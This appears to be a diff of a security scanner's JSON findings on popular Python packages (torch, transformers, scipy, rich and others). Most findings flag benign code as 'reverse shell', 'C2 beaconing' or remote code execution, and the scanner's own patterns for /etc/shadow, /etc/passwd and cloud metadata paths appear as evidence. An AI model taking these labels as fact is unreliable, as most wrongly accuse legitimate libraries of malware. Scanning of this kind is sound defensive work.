-      "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve"
+      "evidence": "Archive: L3300:         with tarfile.open(download[0]) as tar:\nNetwork: L3255:     from urllib.request import urlretrieve",
+      "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582"
     },
     {
       "package": "pyperclip",
       "file": "pyperclip/__init__.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r'],"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/_py/path.py",
-      "check": "Downloads and executes remote code",
-      "severity": "CRITICAL",
-      "evidence": "L1153: exec(f.read(), mod.__dict__)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/capture.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L483: os.dup2(self.targetfd_invalid, targetfd) | L522: os.dup2(self.tmpfile.fileno(), self.targetfd) | L532: os.dup2(self.targetfd_save, self.targetfd)"
-    },
-    {
-      "package": "pytest",
-      "file": "_pytest/config/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L260: os.dup2(devnull, sys.stdout.fileno())"
+      "evidence": "Base64: L488:             decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80:         return subprocess.call(['which', name],\nL81:                             stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100:         p = subprocess.Popen(['pbcopy', 'w'],\nL101:                              stdin=subprocess.PIPE, close_fds=True) | L105:         p = subprocess.Popen(['pbpaste', 'r'],\nL106:                              stdout=subprocess.PIPE, close_fds=True) | L167:         p = subprocess.Popen(['xclip', '-selection', selection],\nL168:                              stdin=subprocess.PIPE, close_fds=True) | L175:         p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176:                              stdout=subprocess.PIPE,\nL177:                              stderr=subprocess.PIPE,\nL178:                              close_fds=True) | L195:         p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196:                              stdin=subprocess.PIPE, close_fds=True) | L203:         p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204:                              stdout=subprocess.PIPE, close_fds=True) | L221:             subprocess.check_call(args, close_fds=True) | L224:             p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231:         p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241:         p = subprocess.Popen(\nL242:             ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243:              text.encode(ENCODING)],\nL244:             stdin=subprocess.PIPE, close_fds=True) | L248:         p = subprocess.Popen(\nL249:             ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250:             stdout=subprocess.PIPE, close_fds=True) | L469:         p = subprocess.Popen(['clip.exe'],\nL470:                              stdin=subprocess.PIPE, close_fds=True) | L477:         p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478:                              stdout=subprocess.PIPE,\nL479:                              stderr=subprocess.PIPE,\nL480:                              close_fds=True)",
+      "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f"
     },
     {
       "package": "python-dateutil",
       "file": "dateutil/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L16:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "rich",
       "file": "rich/ansi.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L229: pty.spawn(sys.argv[1:], read)"
+      "evidence": "L229:     pty.spawn(sys.argv[1:], read)",
+      "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4"
     },
     {
       "package": "rich",
       "file": "rich/console.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())"
+      "evidence": "L2041:         os.dup2(devnull, sys.stdout.fileno())",
+      "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee"
     },
     {
       "package": "rich-rst",
       "file": "rich_rst/_vendor/docutils/readers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)"
+      "evidence": "L129:         module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)",
+      "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073"
     },
     {
       "package": "rich-rst",
       "file": "rich_rst/_vendor/docutils/writers/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)"
+      "evidence": "L271:         module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)",
+      "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100: while True:"
+      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
+      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
+    },
+    {
+      "package": "scikit-learn",
+      "file": "sklearn/datasets/_openml.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
+      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/cupy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+      "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/dask/array/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+      "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/numpy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+      "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")",
+      "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/externals/array_api_compat/torch/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+      "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/svm/tests/test_svm.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)"
+      "evidence": "L980:     os.dup2(os.pipe()[1], 1) | L987:     os.dup2(stdout, 1)",
+      "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653"
     },
     {
       "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/cupy/__init__.py",
+      "file": "scipy/_external/array_api_compat/cupy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"
+      "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/dask/array/__init__.py",
+      "file": "scipy/_external/array_api_compat/dask/array/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"
+      "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/numpy/__init__.py",
+      "file": "scipy/_external/array_api_compat/numpy/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"
+      "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")",
+      "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"
     },
     {
       "package": "scipy",
-      "file": "scipy/_lib/array_api_compat/torch/__init__.py",
+      "file": "scipy/_external/array_api_compat/torch/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"
+      "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')",
+      "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"
     },
     {
       "package": "sentencepiece",
       "file": "sentencepiece/__init__.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)"
+      "evidence": "L1221:       os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226:       os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
+      "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"
     },
     {
       "package": "setuptools",
       "file": "distutils-precedence.pth",
       "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)",
       "severity": "CRITICAL",
-      "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();"
+      "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();",
+      "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_distutils/tests/test_build_ext.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')"
+      "evidence": "L115:                 shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9",
+      "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7"
     },
     {
       "package": "setuptools",
       "file": "setuptools/_vendor/jaraco/context/__init__.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)"
+      "evidence": "Archive: L79:         with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78:         req = urllib.request.urlopen(url)",
+      "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"
     },
     {
       "package": "sympy",
       "file": "sympy/external/importtools.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L154: __import__(module + '.' + submod)"
+      "evidence": "L154:                 __import__(module + '.' + submod)",
+      "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b"
     },
     {
       "package": "tiktoken",
       "file": "tiktoken/load.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)"
+      "evidence": "Env: L38:         cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17:         resp = requests.get(blobpath)",
+      "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d"
     },
     {
       "package": "torch",
       "file": "functorch/dim/magic_trace.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\""
+      "evidence": "L15:     output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e",
+      "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023"
     },
     {
       "package": "torch",
       "file": "torch/_inductor/codecache.py",
       "check": "base64 decode + subprocess execution (staged payload)",
       "severity": "CRITICAL",
-      "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output("
+      "evidence": "Base64: L1211:                     content = base64.b64decode(data)\nSubprocess: L2692:                             subprocess.run(\nL2693:                                 cmd.split(), capture_output=True, text=True, check=True\nL2694:                             ) | L2995:             cmd_output = subprocess.run(\nL2996:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997:             ) | L3707:                         out = subprocess.check_output(\nL3708:                             [\"ldd\", os.path.join(search, file)]\nL3709:                         ) | L3791:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876:                     subprocess.check_call(\nL3877:                         shlex.split(halide_cmd_gen.get_command_line())\nL3878:                     ) | L4336:                             subprocess.check_output(\nL4337:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338:                             ) | L4591:                         output = subprocess.check_output(\nL4592:                             cmd_parts,\nL4593:                             stderr=subprocess.STDOUT,\nL4594:                             text=True,\nL4595:                             env=os.environ,\nL4596:                         )",
+      "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
     },
     {
       "package": "torch",
       "file": "torch/ao/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L30: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L30:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/ao/nn/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L34: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L34:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/ao/nn/intrinsic/__init__.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L40: return importlib.import_module(\".\" + name, __name__)"
+      "evidence": "L40:         return importlib.import_module(\".\" + name, __name__)",
+      "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
     },
     {
       "package": "torch",
       "file": "torch/cuda/_memory_viz.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve("
+      "evidence": "FS: L74:     if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97:         import urllib.request | L101:             urllib.request.urlretrieve(\nL102:                 \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103:                 f.name,\nL104:             )",
+      "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85"
     },
     {
       "package": "torch",
       "file": "torch/distributed/elastic/multiprocessing/redirects.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L218: os.dup2(dst.fileno(), std_fd)"
+      "evidence": "L218:             os.dup2(dst.fileno(), std_fd)",
+      "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f"
     },
     {
       "package": "torch",
       "file": "torch/hub.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:"
+      "evidence": "Env: L237:     token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206:             with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230:     with urlopen(url) as r: | L749:         with urlopen(req) as u:",
+      "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704"
     },
     {
       "package": "torch",
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:"
+      "evidence": "Env: L4770:         env = os.environ.copy()\nNetwork: L4832:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
+      "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
     },
     {
       "package": "torch",
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L32: import socket"
+      "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
+      "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
     },
     {
       "package": "torchvision",
       "file": "torchvision/datasets/utils.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r"
+      "evidence": "Archive: L212:     with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28:     with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63:         with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:",
+      "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080"
     },
     {
       "package": "traitlets",
       "file": "traitlets/config/loader.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)"
+      "evidence": "L82:         exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655:             exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",
+      "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470"
     },
     {
       "package": "transformers",
       "file": "transformers/integrations/integration_utils.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w"
+      "evidence": "FS: L2125:                 \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530:         import urllib.request | L2561:             req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562:             with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
+      "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca"
     },
     {
       "package": "transformers",
       "file": "transformers/integrations/integration_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c"
+      "evidence": "Env: L2512:         token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530:         import urllib.request | L2561:             req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562:             with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
+      "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1577: while True:"
+      "evidence": "L1663:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
+      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1623:     while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a",
+      "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049"
+    },
+    {
+      "package": "transformers",
+      "file": "transformers/testing_utils.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
+      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:"
+      "evidence": "Env: L284:         value = os.environ[key] | L300:         value = os.environ[key] | L2129:         env = os.environ.copy() | L2251:             for k in list(os.environ.keys()):\nNetwork: L2561:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L2473: import socket"
+      "evidence": "L2473:     import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc",
+      "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736"
     },
     {
       "package": "transformers",
       "file": "transformers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L2345:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "triton",
       "file": "triton/tools/build_extern.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\""
+      "evidence": "L315:         self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317:     def disasm(self, lib_path: str) -> None:\nL318:         subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()",
+      "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890"
     },
     {
       "package": "trl",
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L152: while True:"
+      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
+      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
+    },
+    {
+      "package": "trl",
+      "file": "trl/extras/vllm_client.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
+      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
     },
     {
       "package": "trl",
       "file": "trl/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)"
+      "evidence": "L144:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Accesses cloud metadata/IMDS AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re"
+      "evidence": "IMDS: L155:     r\"|/latest/meta-data\" | L156:     r\"|/metadata/instance\" | L157:     r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as"
+      "evidence": "Archive: L1254:         with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url"
+      "evidence": "FS: L116:     r\"|/etc/shadow|/etc/passwd\" | L256:     r\"|/etc/shadow\" | L257:     r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
